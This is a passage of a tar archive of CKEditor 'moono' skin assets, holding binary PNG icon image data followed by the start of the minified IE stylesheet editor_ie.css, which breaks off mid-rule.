љ ([YmW|kn_$	mmӹG~}uKSS,oq#'@Hk׬^}X,NeU_OOCy<W%z  IDAT5,CvN֮^==Ȱ,j;:KUłnޚM}V9݉HxlZg`p9>i͚Y	ˋYvo۲eks80!`sv?K܁= KjH)ML~Sr@u#Ln<C-Cz&#6Ű!#6*+~ge|Bӌru)f~(,iuAOI$ږ__&L0a	&RHy ClI'kXB`Zra++N8P9vUR.gA,+ޝ1A1~OyW|ۭAKMYhD9?&U(w-] /BVܳ'%!lB~B)ŋLe*+ۗTyф}<L
ha!,1s1 
xztoK,\HEEq߰crߩ@հK݆s0a
'ЄEBQJ  55ʛU~Bք7d):M<j6++*zԗ/ڼys>H>	&t'$Hluw_=P(?cW2v* >e6%exBn_3oB}>yuE7nb-,ĥst[@/OW ƤP1tntyxc%4lڲW9smٛ D:A)
m9s >ݹz1(5Qp8`ܪ ƻ!AennX,O@EP(,5@5~2'u$	@@}7޸,W(eumm$˯׎m 8v7Ȫ!C۫V}gA_OO ne]_OOb\z[bm'ңޚ,Tkj;:Y{pAEQL>8<Mk>id9֬遁Y Mzjjv'O_()7"tTn  rq3	S	@k<  '-H<X.OWhh1L0a	&LAv#Fu^y~@Л ˲BIa{D!s Å=)%yчd:N3acLcFahh~?F,N'\. vg$]nn.sCCX	;BwO 7lHs06MGЀIEQG	XD&vuQ K7m,J	Qގ.$tj$ːRP	J㤚NRqH[Ezj4)hJGTJaK8xsI:zܟc2$q8Im!D	@ N_#2Ӊ?S@ 8}>ں5hmk |FmI'DP@J3aessJ3\;:( p +̄@$CgB^x1BgBU2dz&dY-bQ
$;jFY|(2VUrXʂ(_iF1B@(% >B$z10 `}^ېe !$G	&L0a	&ҁJ,
 |9j+mߴ (,-]w˗TU[S3IUiӺ:&L?D@;zٞ󳫮P(pMpYu}ͳ{{A	hX,9s++!
BD < kjH31! ²WYa!@?'k dDkX]-MME1!Ų,8,˂2>>N`޽ro$D/͌w&2 '/:F1lܼ+|MO4qNæݵVy>?JYAsS^9<8)ZhkƎm3fl6I>)ZB˲,Oe݃ G_~&T|KCc~vp?`0abhhn>~_+<CyLjoGieY_ QRZY ]ݝ[UUUr`U=*iT$IĽ-[ݻva``:<<$4dggsYYYX,,Ȕ╗_8
 mJp8,
ȑ#صkz2?X,mLvv6lv;>;|t۶bgR['+Vg8<8omj+4ytg

`ʕ x>^z!\'L H=fIUJxQJ_
R7TWWuuIꍥJ͔aJt-7n>qTАt?@)ҳKK=`i	TE)D)ns:SސPJJ)jf {@-;xR..XL)yｯ'O.O:rJQ	䢔י0a	&L0a	:<Eׁ|E+6FmWR[S[uP<sUX_s3cj]	 YBގ˞HD 

oU]_4R# P`VAH9fa7e?B
(^XfÌg0E+T՚[,B!v|ĉ pT -'YYa%ʤA8;wߑ JEcz{ƌqf\7[Zc9z[/9K. T(Dڰ׌rmSNI:>!
axxOdt9()|tR{;Os$	,pUѕߏSNSN]y^ ~:b N8%<DA |z"t1cEEE|Ss3fL=裝a5:<vСCG7l8T_W7[!
bZ'N<U[Yiz8s,'wy{iA+ hnnǍ&2 Bٱ}{;7BH0Է%%Vۍgܹs;hAy kPp' p2(Oc"{<;v>K⟝%UWW|#T"JZ$̚%H&LS%(U
svppy5Uc&ByC>qT1npmQ5 ,q2yuժ͔ fJ6oRɯpN)PJ'/xO>@u*w0-h&L0a	&L0aLLL &_LL	&L0a	&?Gd#2LD?"GtKGd	&L0aF/7X`2Sp6 b"_WhJG0LJQ %	O[p Μ=7:9 	P,˂8Gز~P[⼞nY9;GM/W'Vֆ-7!R@ NL$) 6mJ($Ie!@Iqq(DΊ9zthu8K.VS]nw8r RHе_# D&'I~?v?r}+/,K$Sre	5krL#φ\0U g;Za{F4
afcMyy6 <k2.,OdE]"_|1vCń^}J6bZkӧj/!dotBRe9&?/]Fe$	n|U bԩV }{=:#\,CV6%BPbof.? dPhܩSVA)rrr)@"u|0$ !De&L1u:~S]SC\G;E5?O]KJXN1cvhG׹M+׸a(2BJ0Y]]	!^XPP600SN.pdNa{G0d]Z|H)z>$Iz_8{PJ?y|gF {{Ɲoa`х18p3XiR`(Çv	h>
3$B6]EkjjksGxEO{>N$" +: ;!> K/>TcsÃART@%(-` B8y6.$Q.W$fÙ3s RjJ'^q)~֭-uBhC/M{ur-3{6Qu_ \(R0`8ehj(|<	q]VMhiy *4rZDږ<|aT	ND uQW࢒c#dʊ
'ϗ7}(IC&#_e'fzJK <onQ%28CqO92Wݕokie xc P(fQW1Z4|A ꪖ;fLxjjʒS(s,˰l
qܡG3gΜ 8C~n.ƌ}A  CAAAe|8}4AݍƖNj]!nXM[	!WEo~ӟ-|juƭ-Hg9n?cٲ. B/$H(-UuT<jfEM0a	&LpF$U?$1孹zA)Bԯ~u45^+EH,e4RUA}O"ϣw _hM[$
RNIQSY -M.IWJں4"ep,cY  EQ$:iR+/ SO*
B|sCC~?xAPNc;)wtXVV\IyȔҭ>DA,ݽ )JG in:%u74D q@15748%QpN,ǽGQtΒƶŰZvƔ)*ZF)( X,^BH!Nt1$A\d:\zOڢtmVkvooa Jt*JI6\v2})Q !
=mhX!+++'$tN2H
']rɵ:j궐JFj"++K{JQQV(ۣ`i]uUV|hhK,AŸq/aeYdg7J	Àe45->pM
PаZN_t)Kt:?,˂!EvQ''ԿJTcYg BD ˷-zp?Z,`WAbXNB~?~?ce[xc  !KNv~AAt3ʓT-.
!$CS[Z~PhUpر.)?/eΞ=YmU56SpUͦZ;ܷ/IV(_U>kk{~[>z_p$<EQI,F4IX Q! EjYR<&L0a	&L}h_<j?Iq87ߌLE+]1xn(P $v\c[D)!w#/I>v__tz.eyyd?wVL,?jo`0Qp(;U틆ԓz7
ڻP+e𢈣N7F`  `J1ΞQ Rs`5s|FAUk+jdtC9C~XP(@0YL^BT'7iI5e@ "V9s0a	&L0aD**aF3<'p\ʯ8r0<#x[(ۀHK ;vczlẅ=GbF$ò 3! P}]#F1k{DY{p9X13蛉n+.r|BΎJiATyC"S`|I	lK}R ɘ
t*EQW´<->ٳʨHi	@)$@ҵ Yؑ` |ւv;VJ% iܱ#"M >°f~)R"_$5G!ZB
$iP>΄	&L0a	dxDr/HHYtR ]TyxiSr/0%/j#  #/Pyh$	
	RfpΔ%ӣ NQ3رeKJy2n_"	:]RFc_OႍT׆QLh<~]dԾ@@}	&L0a	&L\dƾ=#OeW F,
)#JoǉZqfg` "fmO"eD|^o ^ tlRG#U> eDL7\h\!噰}tTGHQ<C錂h\(!..T8P#}
i#
{JoGQ(0a	&L0 ~t27    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/skins/moono/icons.png                                          0000705                 00000024322 15242051521 0020064 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR        1    IDATx}ytՙv[f!vEl$%7yxyCa03/$8q0s3!Wlcx%{wujUuWu!9uW߽U}~Gl@2 PZ&x<_זF"LMM#a׮]A 8%K%`4ﭭҥK^{-rʠjwy<Y*ϥ  @1˗z>/i$80ZccK8FGG/8A Fӹjb "<3hkkۜ ! 
;;;MNNH.Z:::z# cZl6o0m"D4uppp } 5!1 ;A@cc#!c \ "6GS'F`0
q0ͨƅp-'49 cǎ`0r!ٵkr-ej "K2  cUyox9at|N aNy!կQ_׌V `||.\m)((~{"zWXA/(LDMrbZ؏A˗~1v<'1 دig UUU0JJJN2&d"TWWz[f;)HDZ2qp b 1Ap7gx@xΜ9G6-
VTl0>k,c^^8025W EIe DdV)aU)q]c9 F APB{aa/ZZZqb0(FGGQVVfݻwo@֥s-_9ёoؒ%K{{{mmm~@b`  na%̙"-[xc1sye>رcǉ5k4l6`xx񱱱? xfrF#</O	D((OMMaڵ޽{|p^xA g>: D +Vc޽zjz}  <fEcW ~?fϞi477C(B<GQQ0::{ܨI͛7s199Bٳ1T<"$gh#"/ODQfE:t(&2x	-Kpoֶlrd6Odey׮][mJKKpBŋǎ=[@R"Q'=sm5\.' \z֭[? c݌0>cB@  xg*+8@~c|Dܳg/ثEDV*--|]EEE---mLgF]|y'3gb 4DAD\YZ'ѳ2ekH >f83Y YTI?>&"HM7TF baK_c 8Z0bKIdR,6 8sm
2)CqAKZ`	3R,11/A>#ŢLh4nJ GŢCi  x$# F$II_LY&Ɨ.]~yyJ̙Gy4>^XLz(8"HZ! D J3ꚫhNj|8t~Ehc񸂊Z'^v-/WTTTFa62~?|	@cl㨯?ZG͛7?[SS%Cn&3DD+Ռ>]]]H$Rq-+ =ZӄX~GD":(+B9tm*.PD\ւ>Wj-CZ K2M7Df"$ө%H7x#!q0-P6|;Y^PP N>7.b~oooy8x^׿` EEEM `bbp\ p88z9 ]s\z> pP@>远?wELMM'"K[n: r-葝;w^Yh|+T^^ .\H=Djll?>=?љgyD%jjjIDV5կ~uѹњ+D ~EDo(:'vD`4]ED. [lyס:HdUNkkkINs2'"NRӈ.LDVk9ڐSa24D2c4.0,j<j5qDQ$ 31q:!1%oqgjO'&iy [3	d{s@/Pt9.Myt5,6{O`n#᧘*2R^^>,%}mmm.[i6߀l K^^+V$p=ҥKfo2f˗{^ʫ644<ZD}񉾾l8zǏ?'-FA~3o޼ކ0(jjj^{weM61ymܸX?{ʞ*vݿSr$	y<CjXk9?_Ap8v @8eǡC&;6eCw7Wixjjoonݺ"*""'=s7{zz|m꧄wG}t+-%<ѱ#KKKcH '@Dqu }򻻻kZ'pرc  VUUEDd7o{>]wDdS ^J&$HѳD4"6jCǧ]/zAt!JfHP{  w]wՕ  .]W_} H|ؑJĉ'澾>?D& osNɓ'kll 4*XZDDuIIINu@iJTLO$FSmAJoR&Xp5.IFjd5IF*>*eU PsȑvC^^^,hdW&]gμ֩Z%.:t BFzAQ Pi$&PL/lhhH;D"  c8~8y_ jjjC, 緿wFFF|Pbףn@UUUFߏP(p8׋˖-{i/0v{d~ @EE9I  &(|><cb흚JD"I	'@${ E &&&G"d9I&r m׷1 1ɒ%}>_SIfr@Bb1DQ\z5sm`h4>p˗"^@j~~^ 6ʍNVRRM%ɤ@
zb<XQQcƘg	Hb,Xluii1ۇ~Ah `0ŌeeecUyyyKڜCbwu(@(*744l7Hp8LvT^^Μ9łx<{w;g|``}llld2J",1Hp8q{wܹQ  o(H;( L	/ :>'\&і;y;w$ҐɍJa: g"`ikk/` 0L̈́ʖ ~㽽PٞJ ??rzzzBH|yy9 \tvuuB!\zuɓ?Uh!3<p8pʕS,8rN^z5r78 (,ک}gmm7\+VG 6! Vk: U]]O>؂bŊ֒& h4J`<"^0x<NJ3'x,KڶY4F `X`ۑ&$ߚ'|V+8|x~O=ԧ%<cd6DP(5k||%јiA?uIllKhDaa!q6DQ\rH$f3fBqn5H<C3z?U6L9qs֡S'i *br55%es D'cWcO"!4)Y$*	/12xں/+WjɓiQPP GD{*uq̜fj<x}}=!6l5x?18fɴa``9o<j"Id2IJKKsw~~	 wƟb1B!tvv,FI1 3gXǾ6<Ap	 q&''122nGϷ6TWWHG(Azwrqq1bXDA HIr	]>rա7>Qm8)_ijw@QQҿoU_ ԣDcXIDc%*@D<%*JvgoBO&l ^"6Mu1N"@ pDYwdNJH,L\3m/H 4b2ƮX1>8rzR.I䧹Ԧq Z"
%3Gmi"T=Y	 f/.._B c	_i0IDeH^knn>&ׯ_oɋ4@ PCD[e[ v? InEYdyHz!.{6Ψ#2qK/ک ڜ@B=瓳}=M=0Lo pe;"
ũ07t|r}ZU$P}`Z'Sˈדd/H8tM|AUwd O=S;F>Qmјu"uMW&./&n_NxWEfjt咚+E g$@Dew/?@h,> ccc:a> "(Sa>iEsm)sYSwkA6y}@!,B`	;4_?.^3@͙3n<gtccc8x?c̤ Oڄx<pe>}z'n¬YPTT+J:U x5 v{NO&{f,D΁sFr	qLS	p8n 0Y_Wϟǻ*Gjǵg5gHf̟?<k'
0::/NYJPb]ۂ,{)T4% lll4
V"B40crNԞh΢~an-D_,w:E!EBzI'3$pz&uΑ0Osq ŁS4RFXH5Y/yNPP`[$^N"OMiFqe0BiȨgml^ ٌYuEFyrR*I9T3&l6m9Ҷ#ec9jMURkj'\.x<:B#it k[ISavv{1퓑H^ /pcc#͛7l6[bd_c{{;}Gs7x#âD~zLNN&:~8K~3g ADbIh4GrE8I #d2A^4HVDڔ<< qvHQ
R%Ɏ$ٍVMC,ch`~~dFu 8X~sjjjeeeWZgD  ??_)>"wAVAD/Ee\sft|?+"Gzf͛Gd6HxDbz7)A%9_PP@7q8p1\xDtpjkkq!@"O8ըc` gϞ + ʢ 	"PN%*EoK$&
 bCܤEKmB0D4MrrF`||^w`0|Vj"??D`00 ۈ肨ѕUVm-++^SS%seJ$>Q?l!"7.}}U΋A˙ut9Cǧ\]Dy>B_]]}>yBH"$ߘ=uwwSwwbl6	9IruWUUQ(:@14CЁ*"n	 r1o6o).<b?c,nX'9ַ )"Z>`X'"իWopXޕ+WnYr[)Oիџ	D Lj&S_ C/,>Gzd2׮ˉ>ϣ;1͌;fsŋfaGK/^z֭[\|ѦsGDSO #]]];0PO8WYY9rСUrZzA"2+/S[[KsΝ$]D<)MF,LJ3M#vr\ZY .̚5kIL>LXvg~;rvՕTBD;6}TC9G2CʵMV`z%$"zKC%+gٲel2 m:JF./VVV<oJ@mbaȽ{?+|6Q5Bdd+2ʅM6h0Û6m">F:h	\ SO~.:Qi\O~NLvD^^^R<Kk. rcԡ@c3b%MD*w~vADQfڒajۭb:8ք$+N.Q*<uFQmە;#c1\xcs=2HDe?:`P| dRD˫俳	T{!9&䩌1PrH\LҐ<NL̟cT3}i21M1|=.UUU4w\ @ ~R:::hܹ$Ayy9cloi("vmo:A"cgϞMшӧOh4BA_ޞ1ׂ 3	 o4_V%X'-D4DD+P?  멿-D4TXXE޾goqL˾db7D4SnYbڏ;E&yZ^xK&a!ձX,h"jjj"+QKSS-ZHdX'G@ x"y`+cDwuԩSX,عsgℨ`0r<&Re ?@ x x" xѣGcR;16`kk+AHƈ`xx8UMHoV"z:0t:t!Br" ߏ:)fcxĉ|CCCscc҆QA`Z'NXO<^cc 1"?C!1o14S~r Z_&TMe"?	E[>Pn&~kmK &Y[(SYv  -DQC1 ?Dwќ@v(fu  IDATxȑ#'tHpJ[{_˱.:td9gG^	:$MАLT
&+49UWhUW$	h[$@tE('3D]+ %V_ ..ц+t|ZZ$o  w]wՕ  .]W_} H-zHQx;wf9g ;R`	%%%zAs5IȐoەMnv&x߲3UE42VHWkr6IZ➞\gm󅚚:V/Vkz!U Pl됤@I !Ii~rMH3i,TW9>eb\+R*wLE4uK2u-x&}0A={;n?OK<O}0DaaCcc厎yn$NAzzz:GFF7unIUcнdg8ƕ+WXͫBmzbA8n?*ñHֹt}j2[d	,*,,Bx?`L	|cbbuuu2 5<EPjrtȑbrq  ^wEiŁeJLsѶ!mnn_zu4bWcg lqD[[qoxxy579 6Xoۭw5rKEEE}N}Ị[t鵫A:fU,3Wv:ZcVLR"j[ZQnX JKK5	P x-$OvTopJYFuu5@ee%( : ̞=[	/n Nឞ2 >[
^i}wZ,C^_`bbWΝRQEEE$/ϟ;1kcggg e'*r~# ߻5MCeF,R.KFrnu㏆L:`Uz	.p:Yhz"!d5DtnkS)D't@X>@ uD+#7===t: ~_?q: so)lܹs xX,:;;pN::;;c 6Y?~㸿uG:AYeR;I	:`+fOP(A=[RȔ<	#`6a2
%Bf1`X0k,(&rJ$1zn2(fj߻Ԝx4Cr)HM&SNiǁIs544pKD$,:Y?N$yk'tfR"`l."]C  /]k^ ˷i!# v_2qԩ	0^mnnF4tHp9$Wxnhxᣏ>B(Ň~x ^EVwl6 S(l6\.***P]]]499$yheee <#Bݗ.]r (+,,t`>;tQ{ߪuttPCCvDtÞ=%}&WX,礽kb$~l$ThܮO<AXEDd0#:t|x		qmuH4dh{qۑڭu:"  |oo4í/^2L  Zv;f3jkk:`0`llo _ff%'b`09---\YYY͛n7ߌ1 .L<ߝA099#Ν 1ƒYSSc;u֡@v񎎎k-oO~UT"wQrSb!rnhhh%|۟xD0ۉ=4'WȥYYt]/СSڑ~vxvVݎۑtAS OUSM-BSTu?LY~:81ە(    IENDB`                                                                                                                                                                                                                                                                                                              editors/acyeditor/acyeditor/ckeditor/skins/moono/editor_ie.css                                      0000705                 00000111166 15242051521 0020723 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 